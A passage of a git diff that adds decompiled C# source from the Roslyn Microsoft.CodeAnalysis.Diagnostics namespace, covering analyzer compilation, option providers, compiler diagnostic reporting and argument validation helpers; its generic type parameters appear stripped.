arrayBuilder, ImmutableArray additionalFiles, CancellationToken cancellationToken2) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + SyntaxTree tree = originalFile.SourceTree; + instance.Add(tree); + try + { + ImmutableArray.Enumerator enumerator2 = compilationEventsForTree.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current is SymbolDeclaredCompilationEvent symbolDeclaredCompilationEvent && symbolDeclaredCompilationEvent.Symbol.Kind != SymbolKind.Namespace) + { + ImmutableArray.Enumerator enumerator3 = symbolDeclaredCompilationEvent.Symbol.Locations.GetEnumerator(); + while (enumerator3.MoveNext()) + { + Location current = enumerator3.Current; + if (current.SourceTree != null) + { + instance.Add(current.SourceTree); + } + } + } + } + foreach (SyntaxTree item4 in instance) + { + if (tryProcessTree(item4, out var scopeAndEvents)) + { + arrayBuilder.Add((scopeAndEvents.Value.Item1, scopeAndEvents.Value.Item2)); + } + } + } + finally + { + instance.Free(); + } + bool tryProcessTree(SyntaxTree partialTree, [NotNullWhen(true)] out (AnalysisScope scope, ImmutableArray events)? reference) + { + reference = null; + AnalysisScope analysisScope2 = AnalysisScope.Create(filterFile: new SourceOrAdditionalFile(partialTree), analyzers: analyzers2, filterSpan: null, originalFilterFile: originalFile, originalFilterSpan: originalSpan, isSyntacticSingleFileAnalysis: false, compilationWithAnalyzers: this); + analysisScope2 = GetPendingAnalysisScope(analysisScope2); + if (analysisScope2 == null) + { + return false; + } + ImmutableArray immutableArray = GetCompilationEventsForSingleFileAnalysis(compilation2, analysisScope2, additionalFiles, hasAnyActionsRequiringCompilationEvents: true, cancellationToken2); + if (partialTree == tree) + { + immutableArray = compilationEventsForTree.AddRange(immutableArray); + immutableArray = immutableArray.WhereAsArray((CompilationEvent e) => !(e is CompilationUnitCompletedEvent { FilterSpan: var filterSpan }) || !filterSpan.HasValue); + } + reference = (analysisScope2, immutableArray); + return true; + } + } + } + + private AnalysisScope? GetPendingAnalysisScope(AnalysisScope analysisScope) + { + (SourceOrAdditionalFile, bool)? filterScope = (analysisScope.FilterFileOpt.HasValue ? new(SourceOrAdditionalFile, bool)?((analysisScope.FilterFileOpt.Value, analysisScope.IsSyntacticSingleFileAnalysis)) : (((SourceOrAdditionalFile, bool)?)null)); + ImmutableArray pendingAnalyzers = _analysisResultBuilder.GetPendingAnalyzers(analysisScope.Analyzers, filterScope); + if (pendingAnalyzers.IsEmpty) + { + return null; + } + if (pendingAnalyzers.Length >= analysisScope.Analyzers.Length) + { + return analysisScope; + } + return analysisScope.WithAnalyzers(pendingAnalyzers, this); + } + + private static ImmutableArray GetCompilationEventsForSingleFileAnalysis(Compilation compilation, AnalysisScope analysisScope, ImmutableArray additionalFiles, bool hasAnyActionsRequiringCompilationEvents, CancellationToken cancellationToken) + { + if (analysisScope.IsSyntacticSingleFileAnalysis || !hasAnyActionsRequiringCompilationEvents) + { + return ImmutableArray.Empty; + } + if (analysisScope.IsSemanticSingleFileAnalysisForCompilerAnalyzer) + { + CompilationStartedEvent compilationStartedEvent = new CompilationStartedEvent(compilation); + if (!additionalFiles.IsEmpty) + { + compilationStartedEvent = compilationStartedEvent.WithAdditionalFiles(additionalFiles); + } + CompilationUnitCompletedEvent item = new CompilationUnitCompletedEvent(compilation, analysisScope.FilterFileOpt.Value.SourceTree, analysisScope.FilterSpanOpt); + return ImmutableArray.Create((CompilationEvent)compilationStartedEvent, (CompilationEvent)item); + } + generateCompilationEvents(compilation, analysisScope, cancellationToken); + return dequeueAndFilterCompilationEvents(compilation, analysisScope, additionalFiles, cancellationToken); + static ImmutableArray dequeueAndFilterCompilationEvents(Compilation compilation2, AnalysisScope analysisScope2, ImmutableArray additionalFiles2, CancellationToken cancellationToken2) + { + AsyncQueue eventQueue = compilation2.EventQueue; + if (eventQueue.Count == 0) + { + return ImmutableArray.Empty; + } + cancellationToken2.ThrowIfCancellationRequested(); + bool flag = analysisScope2.FilterSpanOpt.HasValue; + SyntaxTree sourceTree = analysisScope2.FilterFileOpt.Value.SourceTree; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + CompilationEvent d; + while (eventQueue.TryDequeue(out d)) + { + if (!(d is CompilationStartedEvent compilationStartedEvent2)) + { + if (!(d is CompilationCompletedEvent)) + { + if (!(d is CompilationUnitCompletedEvent compilationUnitCompletedEvent)) + { + if (!(d is SymbolDeclaredCompilationEvent symbolDeclaredCompilationEvent)) + { + throw ExceptionUtilities.UnexpectedValue(d.GetType().ToString()); + } + if (!symbolDeclaredCompilationEvent.SymbolInternal.IsDefinedInSourceTree(sourceTree, null, cancellationToken2)) + { + continue; + } + } + else + { + if (sourceTree != compilationUnitCompletedEvent.CompilationUnit) + { + continue; + } + flag = false; + } + } + } + else if (!additionalFiles2.IsEmpty) + { + d = compilationStartedEvent2.WithAdditionalFiles(additionalFiles2); + } + instance.Add(d); + } + if (flag) + { + instance.Add(new CompilationUnitCompletedEvent(compilation2, sourceTree, analysisScope2.FilterSpanOpt)); + } + return instance.ToImmutableAndFree(); + } + static void generateCompilationEvents(Compilation compilation2, AnalysisScope analysisScope2, CancellationToken cancellationToken2) + { + if (!analysisScope2.FilterFileOpt.HasValue) + { + compilation2.GetDiagnostics(cancellationToken2); + } + else if (!analysisScope2.IsSyntacticSingleFileAnalysis) + { + compilation2.GetSemanticModel(analysisScope2.FilterFileOpt.Value.SourceTree).GetDiagnostics(analysisScope2.FilterSpanOpt, cancellationToken2); + } + } + } + + private static AsyncQueue CreateEventsQueue(ImmutableArray compilationEvents) + { + if (compilationEvents.IsEmpty) + { + return s_EmptyEventQueue; + } + AsyncQueue asyncQueue = new AsyncQueue(); + ImmutableArray.Enumerator enumerator = compilationEvents.GetEnumerator(); + while (enumerator.MoveNext()) + { + CompilationEvent current = enumerator.Current; + asyncQueue.TryEnqueue(current); + } + return asyncQueue; + } + + public static IEnumerable GetEffectiveDiagnostics(IEnumerable diagnostics, Compilation compilation) + { + return GetEffectiveDiagnostics(diagnostics.AsImmutableOrNull(), compilation); + } + + public static IEnumerable GetEffectiveDiagnostics(ImmutableArray diagnostics, Compilation compilation) + { + if (diagnostics.IsDefault) + { + throw new ArgumentNullException("diagnostics"); + } + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + return GetEffectiveDiagnosticsImpl(diagnostics, compilation); + } + + private static IEnumerable GetEffectiveDiagnosticsImpl(ImmutableArray diagnostics, Compilation compilation) + { + if (diagnostics.IsEmpty) + { + yield break; + } + if (compilation.SemanticModelProvider == null) + { + compilation = compilation.WithSemanticModelProvider(new CachingSemanticModelProvider()); + } + SuppressMessageAttributeState suppressMessageState = new SuppressMessageAttributeState(compilation); + ImmutableArray.Enumerator enumerator = diagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + Diagnostic current = enumerator.Current; + if (current != null) + { + Diagnostic diagnostic = compilation.Options.FilterDiagnostic(current, CancellationToken.None); + if (diagnostic != null) + { + yield return suppressMessageState.ApplySourceSuppressions(diagnostic); + } + } + } + } + + [Obsolete("This API is no longer supported. See https://github.com/dotnet/roslyn/issues/67592 for details")] + public static bool IsDiagnosticAnalyzerSuppressed(DiagnosticAnalyzer analyzer, CompilationOptions options, Action? onAnalyzerException = null) + { + VerifyAnalyzerArgumentForStaticApis(analyzer); + if (options == null) + { + throw new ArgumentNullException("options"); + } + new AnalyzerManager(analyzer); + Action wrappedOnAnalyzerException = delegate(Exception ex, DiagnosticAnalyzer arg, Diagnostic diagnostic, CancellationToken _) + { + onAnalyzerException?.Invoke(ex, arg, diagnostic); + }; + Func> getSupportedDiagnosticDescriptors = delegate(DiagnosticAnalyzer diagnosticAnalyzer) + { + try + { + return diagnosticAnalyzer.SupportedDiagnostics; + } + catch (Exception exception) when (AnalyzerExecutor.HandleAnalyzerException(exception, diagnosticAnalyzer, null, wrappedOnAnalyzerException, null, CancellationToken.None)) + { + return ImmutableArray.Empty; + } + }; + Func> getSupportedSuppressionDescriptors = delegate(DiagnosticSuppressor suppressor) + { + try + { + return suppressor.SupportedSuppressions; + } + catch (Exception exception) when (AnalyzerExecutor.HandleAnalyzerException(exception, suppressor, null, wrappedOnAnalyzerException, null, CancellationToken.None)) + { + return ImmutableArray.Empty; + } + }; + return AnalyzerManager.IsDiagnosticAnalyzerSuppressed(analyzer, options, AnalyzerDriver.IsCompilerAnalyzer, SeverityFilter.None, (DiagnosticDescriptor _) => false, getSupportedDiagnosticDescriptors, getSupportedSuppressionDescriptors, CancellationToken.None); + } + + [Obsolete("This API is no longer required to be invoked. Analyzer state is automatically cleaned up when CompilationWithAnalyzers instance is released.")] + public static void ClearAnalyzerState(ImmutableArray analyzers) + { + } + + public async Task GetAnalyzerTelemetryInfoAsync(DiagnosticAnalyzer analyzer, CancellationToken cancellationToken) + { + VerifyAnalyzerArgument(analyzer); + try + { + AnalyzerActionCounts actionCounts = await GetAnalyzerActionCountsAsync(analyzer, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + int suppressionActionCounts = ((analyzer is DiagnosticSuppressor) ? 1 : 0); + TimeSpan analyzerExecutionTime = GetAnalyzerExecutionTime(analyzer); + return new AnalyzerTelemetryInfo(actionCounts, suppressionActionCounts, analyzerExecutionTime); + } + catch (Exception exception) when (FatalError.ReportAndPropagateUnlessCanceled(exception, cancellationToken)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/DiagnosticAnalyzer/CompilationWithAnalyzers.cs", 1262); + } + } + + private async Task GetAnalyzerActionCountsAsync(DiagnosticAnalyzer analyzer, CancellationToken cancellationToken) + { + AnalysisScope analysisScope = _compilationAnalysisScope.WithAnalyzers(ImmutableArray.Create(analyzer), this); + using AnalyzerDriver driver = await CreateAndInitializeDriverAsync(_compilation, _analysisOptions, analysisScope, _suppressors, categorizeDiagnostics: true, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + cancellationToken.ThrowIfCancellationRequested(); + return await driver.GetAnalyzerActionCountsAsync(analyzer, _compilation.Options, analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + private TimeSpan GetAnalyzerExecutionTime(DiagnosticAnalyzer analyzer) + { + if (!_analysisOptions.LogAnalyzerExecutionTime) + { + return default(TimeSpan); + } + return _analysisResultBuilder.GetAnalyzerExecutionTime(analyzer); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationWithAnalyzersOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationWithAnalyzersOptions.cs new file mode 100644 index 0000000..bfe7a8c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationWithAnalyzersOptions.cs @@ -0,0 +1,50 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public sealed class CompilationWithAnalyzersOptions +{ + private readonly AnalyzerOptions? _options; + + private readonly Action? _onAnalyzerException; + + private readonly Func? _analyzerExceptionFilter; + + private readonly bool _concurrentAnalysis; + + private readonly bool _logAnalyzerExecutionTime; + + private readonly bool _reportSuppressedDiagnostics; + + public AnalyzerOptions? Options => _options; + + public Action? OnAnalyzerException => _onAnalyzerException; + + public Func? AnalyzerExceptionFilter => _analyzerExceptionFilter; + + public bool ConcurrentAnalysis => _concurrentAnalysis; + + public bool LogAnalyzerExecutionTime => _logAnalyzerExecutionTime; + + public bool ReportSuppressedDiagnostics => _reportSuppressedDiagnostics; + + public CompilationWithAnalyzersOptions(AnalyzerOptions options, Action? onAnalyzerException, bool concurrentAnalysis, bool logAnalyzerExecutionTime) + : this(options, onAnalyzerException, concurrentAnalysis, logAnalyzerExecutionTime, reportSuppressedDiagnostics: false) + { + } + + public CompilationWithAnalyzersOptions(AnalyzerOptions options, Action? onAnalyzerException, bool concurrentAnalysis, bool logAnalyzerExecutionTime, bool reportSuppressedDiagnostics) + : this(options, onAnalyzerException, concurrentAnalysis, logAnalyzerExecutionTime, reportSuppressedDiagnostics, null) + { + } + + public CompilationWithAnalyzersOptions(AnalyzerOptions? options, Action? onAnalyzerException, bool concurrentAnalysis, bool logAnalyzerExecutionTime, bool reportSuppressedDiagnostics, Func? analyzerExceptionFilter) + { + _options = options; + _onAnalyzerException = onAnalyzerException; + _analyzerExceptionFilter = analyzerExceptionFilter; + _concurrentAnalysis = concurrentAnalysis; + _logAnalyzerExecutionTime = logAnalyzerExecutionTime; + _reportSuppressedDiagnostics = reportSuppressedDiagnostics; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilerAnalyzerConfigOptionsProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilerAnalyzerConfigOptionsProvider.cs new file mode 100644 index 0000000..3fd1c44 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilerAnalyzerConfigOptionsProvider.cs @@ -0,0 +1,46 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CompilerAnalyzerConfigOptionsProvider : AnalyzerConfigOptionsProvider +{ + private readonly ImmutableDictionary _treeDict; + + public static CompilerAnalyzerConfigOptionsProvider Empty { get; } = new CompilerAnalyzerConfigOptionsProvider(ImmutableDictionary.Empty, DictionaryAnalyzerConfigOptions.Empty); + + public override AnalyzerConfigOptions GlobalOptions { get; } + + internal CompilerAnalyzerConfigOptionsProvider(ImmutableDictionary treeDict, AnalyzerConfigOptions globalOptions) + { + _treeDict = treeDict; + GlobalOptions = globalOptions; + } + + public override AnalyzerConfigOptions GetOptions(SyntaxTree tree) + { + if (!_treeDict.TryGetValue(tree, out AnalyzerConfigOptions value)) + { + return DictionaryAnalyzerConfigOptions.Empty; + } + return value; + } + + public override AnalyzerConfigOptions GetOptions(AdditionalText textFile) + { + if (!_treeDict.TryGetValue(textFile, out AnalyzerConfigOptions value)) + { + return DictionaryAnalyzerConfigOptions.Empty; + } + return value; + } + + internal CompilerAnalyzerConfigOptionsProvider WithAdditionalTreeOptions(ImmutableDictionary treeDict) + { + return new CompilerAnalyzerConfigOptionsProvider(_treeDict.AddRange(treeDict), GlobalOptions); + } + + internal CompilerAnalyzerConfigOptionsProvider WithGlobalOptions(AnalyzerConfigOptions globalOptions) + { + return new CompilerAnalyzerConfigOptionsProvider(_treeDict, globalOptions); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilerDiagnosticAnalyzer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilerDiagnosticAnalyzer.cs new file mode 100644 index 0000000..f9bd487 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilerDiagnosticAnalyzer.cs @@ -0,0 +1,171 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal abstract class CompilerDiagnosticAnalyzer : DiagnosticAnalyzer +{ + private class CompilationAnalyzer + { + private sealed class CompilerDiagnostic : Diagnostic + { + private readonly Diagnostic _original; + + private readonly ImmutableDictionary _properties; + + public override DiagnosticDescriptor Descriptor => _original.Descriptor; + + internal override int Code => _original.Code; + + internal override IReadOnlyList Arguments => _original.Arguments; + + public override string Id => _original.Id; + + public override DiagnosticSeverity Severity => _original.Severity; + + public override int WarningLevel => _original.WarningLevel; + + public override Location Location => _original.Location; + + public override IReadOnlyList AdditionalLocations => _original.AdditionalLocations; + + public override bool IsSuppressed => _original.IsSuppressed; + + public override ImmutableDictionary Properties => _properties; + + public CompilerDiagnostic(Diagnostic original, ImmutableDictionary properties) + { + _original = original; + _properties = properties; + } + + public override string GetMessage(IFormatProvider? formatProvider = null) + { + return _original.GetMessage(formatProvider); + } + + public override int GetHashCode() + { + return _original.GetHashCode(); + } + + public override bool Equals(Diagnostic? obj) + { + if (obj is CompilerDiagnostic compilerDiagnostic) + { + return _original.Equals(compilerDiagnostic._original); + } + return false; + } + + internal override Diagnostic WithLocation(Location location) + { + return new CompilerDiagnostic(_original.WithLocation(location), _properties); + } + + internal override Diagnostic WithSeverity(DiagnosticSeverity severity) + { + return new CompilerDiagnostic(_original.WithSeverity(severity), _properties); + } + + internal override Diagnostic WithIsSuppressed(bool isSuppressed) + { + return new CompilerDiagnostic(_original.WithIsSuppressed(isSuppressed), _properties); + } + } + + private readonly Compilation _compilation; + + public CompilationAnalyzer(Compilation compilation) + { + _compilation = compilation; + } + + public void AnalyzeSyntaxTree(SyntaxTreeAnalysisContext context) + { + ReportDiagnostics(_compilation.GetSemanticModel(context.Tree).GetSyntaxDiagnostics(context.FilterSpan, context.CancellationToken), ((SyntaxTreeAnalysisContext)context).ReportDiagnostic, IsSourceLocation, s_syntactic); + } + + public static void AnalyzeSemanticModel(SemanticModelAnalysisContext context) + { + ImmutableArray declarationDiagnostics = context.SemanticModel.GetDeclarationDiagnostics(context.FilterSpan, context.CancellationToken); + ImmutableArray methodBodyDiagnostics = context.SemanticModel.GetMethodBodyDiagnostics(context.FilterSpan, context.CancellationToken); + ReportDiagnostics(declarationDiagnostics, ((SemanticModelAnalysisContext)context).ReportDiagnostic, IsSourceLocation, s_declaration); + ReportDiagnostics(methodBodyDiagnostics, ((SemanticModelAnalysisContext)context).ReportDiagnostic, IsSourceLocation); + } + + public static void AnalyzeCompilation(CompilationAnalysisContext context) + { + ReportDiagnostics(context.Compilation.GetDeclarationDiagnostics(context.CancellationToken), ((CompilationAnalysisContext)context).ReportDiagnostic, (Location location) => !IsSourceLocation(location), s_declaration); + } + + private static bool IsSourceLocation(Location location) + { + if (location != null) + { + return location.Kind == LocationKind.SourceFile; + } + return false; + } + + private static void ReportDiagnostics(ImmutableArray diagnostics, Action reportDiagnostic, Func locationFilter, ImmutableDictionary? properties = null) + { + ImmutableArray.Enumerator enumerator = diagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + Diagnostic current = enumerator.Current; + if (locationFilter(current.Location) && current.Severity != DiagnosticSeverity.Hidden) + { + Diagnostic obj = ((properties == null) ? current : new CompilerDiagnostic(current, properties)); + reportDiagnostic(obj); + } + } + } + } + + private const string Origin = "Origin"; + + private const string Syntactic = "Syntactic"; + + private const string Declaration = "Declaration"; + + private static readonly ImmutableDictionary s_syntactic = ImmutableDictionary.Empty.Add("Origin", "Syntactic"); + + private static readonly ImmutableDictionary s_declaration = ImmutableDictionary.Empty.Add("Origin", "Declaration"); + + private ImmutableArray _supportedDiagnostics; + + protected abstract CommonMessageProvider MessageProvider { get; } + + public sealed override ImmutableArray SupportedDiagnostics => InterlockedOperations.Initialize(ref _supportedDiagnostics, delegate(CompilerDiagnosticAnalyzer @this) + { + CommonMessageProvider messageProvider = @this.MessageProvider; + ImmutableArray supportedErrorCodes = @this.GetSupportedErrorCodes(); + ArrayBuilder instance = ArrayBuilder.GetInstance(supportedErrorCodes.Length); + ImmutableArray.Enumerator enumerator = supportedErrorCodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + int current = enumerator.Current; + instance.Add(DiagnosticInfo.GetDescriptor(current, messageProvider)); + } + instance.Add(AnalyzerExecutor.GetAnalyzerExceptionDiagnosticDescriptor()); + return instance.ToImmutableAndFree(); + }, this); + + internal abstract ImmutableArray GetSupportedErrorCodes(); + + public sealed override void Initialize(AnalysisContext context) + { + context.EnableConcurrentExecution(); + context.ConfigureGeneratedCodeAnalysis(GeneratedCodeAnalysisFlags.Analyze | GeneratedCodeAnalysisFlags.ReportDiagnostics); + context.RegisterCompilationStartAction(delegate(CompilationStartAnalysisContext c) + { + CompilationAnalyzer compilationAnalyzer = new CompilationAnalyzer(c.Compilation); + c.RegisterSyntaxTreeAction(compilationAnalyzer.AnalyzeSyntaxTree); + c.RegisterSemanticModelAction(CompilationAnalyzer.AnalyzeSemanticModel); + }); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalysisContextHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalysisContextHelpers.cs new file mode 100644 index 0000000..fc027cb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalysisContextHelpers.cs @@ -0,0 +1,151 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.FlowAnalysis; +using Microsoft.CodeAnalysis.Operations; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal static class DiagnosticAnalysisContextHelpers +{ + internal static void VerifyArguments(Action action) + { + VerifyAction(action); + } + + internal static void VerifyArguments(Action action, ImmutableArray symbolKinds) + { + VerifyAction(action); + VerifySymbolKinds(symbolKinds); + } + + internal static void VerifyArguments(Action action, ImmutableArray syntaxKinds) where TLanguageKindEnum : struct + { + VerifyAction(action); + VerifySyntaxKinds(syntaxKinds); + } + + internal static void VerifyArguments(Action action, ImmutableArray operationKinds) + { + VerifyAction(action); + VerifyOperationKinds(operationKinds); + } + + internal static void VerifyArguments(Diagnostic diagnostic, Compilation? compilation, Func isSupportedDiagnostic, CancellationToken cancellationToken) + { + if (!(diagnostic is DiagnosticWithInfo)) + { + if (diagnostic == null) + { + throw new ArgumentNullException("diagnostic"); + } + if (compilation != null) + { + VerifyDiagnosticLocationsInCompilation(diagnostic, compilation); + } + if (!isSupportedDiagnostic(diagnostic, cancellationToken)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.UnsupportedDiagnosticReported, diagnostic.Id), "diagnostic"); + } + if (!UnicodeCharacterUtilities.IsValidIdentifier(diagnostic.Id)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.InvalidDiagnosticIdReported, diagnostic.Id), "diagnostic"); + } + } + } + + internal static void VerifyDiagnosticLocationsInCompilation(Diagnostic diagnostic, Compilation compilation) + { + VerifyDiagnosticLocationInCompilation(diagnostic.Id, diagnostic.Location, compilation); + if (diagnostic.AdditionalLocations == null) + { + return; + } + foreach (Location additionalLocation in diagnostic.AdditionalLocations) + { + VerifyDiagnosticLocationInCompilation(diagnostic.Id, additionalLocation, compilation); + } + } + + private static void VerifyDiagnosticLocationInCompilation(string id, Location location, Compilation compilation) + { + if (location.IsInSource) + { + if (!compilation.ContainsSyntaxTree(location.SourceTree)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.InvalidDiagnosticLocationReported, id, location.SourceTree.FilePath), "diagnostic"); + } + if (location.SourceSpan.End > location.SourceTree.Length) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.InvalidDiagnosticSpanReported, id, location.SourceSpan, location.SourceTree.FilePath), "diagnostic"); + } + } + } + + private static void VerifyAction(Action action) + { + if (action == null) + { + throw new ArgumentNullException("action"); + } + } + + private static void VerifySymbolKinds(ImmutableArray symbolKinds) + { + if (symbolKinds.IsDefault) + { + throw new ArgumentNullException("symbolKinds"); + } + if (symbolKinds.IsEmpty) + { + throw new ArgumentException(CodeAnalysisResources.ArgumentCannotBeEmpty, "symbolKinds"); + } + } + + private static void VerifySyntaxKinds(ImmutableArray syntaxKinds) where TLanguageKindEnum : struct + { + if (syntaxKinds.IsDefault) + { + throw new ArgumentNullException("syntaxKinds"); + } + if (syntaxKinds.IsEmpty) + { + throw new ArgumentException(CodeAnalysisResources.ArgumentCannotBeEmpty, "syntaxKinds"); + } + } + + private static void VerifyOperationKinds(ImmutableArray operationKinds) + { + if (operationKinds.IsDefault) + { + throw new ArgumentNullException("operationKinds"); + } + if (operationKinds.IsEmpty) + { + throw new ArgumentException(CodeAnalysisResources.ArgumentCannotBeEmpty, "operationKinds"); + } + } + + internal static void VerifyArguments(TKey key, AnalysisValueProvider valueProvider) where TKey : class + { + if (key == null) + { + throw new ArgumentNullException("key"); + } + if (valueProvider == null) + { + throw new ArgumentNullException("valueProvider"); + } + } + + internal static ControlFlowGraph GetControlFlowGraph(IOperation operation, Func? getControlFlowGraph, CancellationToken cancellationToken) + { + IOperation rootOperation = operation.GetRootOperation(); + if (getControlFlowGraph == null) + { + return ControlFlowGraph.CreateCore(rootOperation, "rootOperation", cancellationToken); + } + return getControlFlowGraph(rootOperation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalyzer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalyzer.cs new file mode 100644 index 0000000..d69e5d2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalyzer.cs @@ -0,0 +1,25 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public abstract class DiagnosticAnalyzer +{ + public abstract ImmutableArray SupportedDiagnostics { get; } + + public abstract void Initialize(AnalysisContext context); + + public sealed override bool Equals(object? obj) + { + return this == obj; + } + + public sealed override int GetHashCode() + { + return base.GetHashCode(); + } + + public sealed override string ToString() + { + return GetType().ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalyzerAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalyzerAttribute.cs new file mode 100644 index 0000000..9332b5e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalyzerAttribute.cs @@ -0,0 +1,28 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +[AttributeUsage(AttributeTargets.Class)] +public sealed class DiagnosticAnalyzerAttribute : Attribute +{ + public string[] Languages { get; } + + public DiagnosticAnalyzerAttribute(string firstLanguage, params string[] additionalLanguages) + { + if (firstLanguage == null) + { + throw new ArgumentNullException("firstLanguage"); + } + if (additionalLanguages == null) + { + throw new ArgumentNullException("additionalLanguages"); + } + string[] array = new string[additionalLanguages.Length + 1]; + array[0] = firstLanguage; + for (int i = 0; i < additionalLanguages.Length; i++) + { + array[i + 1] = additionalLanguages[i]; + } + Languages = array; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalyzerExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalyzerExtensions.cs new file mode 100644 index 0000000..3731c70 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticAnalyzerExtensions.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Immutable; +using System.ComponentModel; +using System.Threading; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public static class DiagnosticAnalyzerExtensions +{ + [Obsolete("Use WithAnalyzers overload without a cancellation token", false)] + [EditorBrowsable(EditorBrowsableState.Never)] + public static CompilationWithAnalyzers WithAnalyzers(this Compilation compilation, ImmutableArray analyzers, AnalyzerOptions? options, CancellationToken cancellationToken) + { + return new CompilationWithAnalyzers(compilation, analyzers, options, cancellationToken); + } + + public static CompilationWithAnalyzers WithAnalyzers(this Compilation compilation, ImmutableArray analyzers, AnalyzerOptions? options = null) + { + return new CompilationWithAnalyzers(compilation, analyzers, options); + } + + public static CompilationWithAnalyzers WithAnalyzers(this Compilation compilation, ImmutableArray analyzers, CompilationWithAnalyzersOptions analysisOptions) + { + return new CompilationWithAnalyzers(compilation, analyzers, analysisOptions); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticQueue.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticQueue.cs new file mode 100644 index 0000000..0f01560 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticQueue.cs @@ -0,0 +1,221 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal abstract class DiagnosticQueue +{ + private sealed class SimpleDiagnosticQueue : DiagnosticQueue + { + private readonly AsyncQueue _queue; + + public SimpleDiagnosticQueue() + { + _queue = new AsyncQueue(); + } + + public SimpleDiagnosticQueue(Diagnostic diagnostic) + { + _queue = new AsyncQueue(); + _queue.Enqueue(diagnostic); + } + + public override void Enqueue(Diagnostic diagnostic) + { + _queue.Enqueue(diagnostic); + } + + public override void EnqueueLocal(Diagnostic diagnostic, DiagnosticAnalyzer analyzer, bool isSyntaxDiagnostic) + { + _queue.Enqueue(diagnostic); + } + + public override void EnqueueNonLocal(Diagnostic diagnostic, DiagnosticAnalyzer analyzer) + { + _queue.Enqueue(diagnostic); + } + + public override ImmutableArray DequeueLocalSemanticDiagnostics(DiagnosticAnalyzer analyzer) + { + throw new NotImplementedException(); + } + + public override ImmutableArray DequeueLocalSyntaxDiagnostics(DiagnosticAnalyzer analyzer) + { + throw new NotImplementedException(); + } + + public override ImmutableArray DequeueNonLocalDiagnostics(DiagnosticAnalyzer analyzer) + { + throw new NotImplementedException(); + } + + public override bool TryComplete() + { + return _queue.TryComplete(); + } + + public override bool TryDequeue([NotNullWhen(true)] out Diagnostic? d) + { + return _queue.TryDequeue(out d); + } + } + + private sealed class CategorizedDiagnosticQueue : DiagnosticQueue + { + private readonly object _gate = new object(); + + private Dictionary? _lazyLocalSemanticDiagnostics; + + private Dictionary? 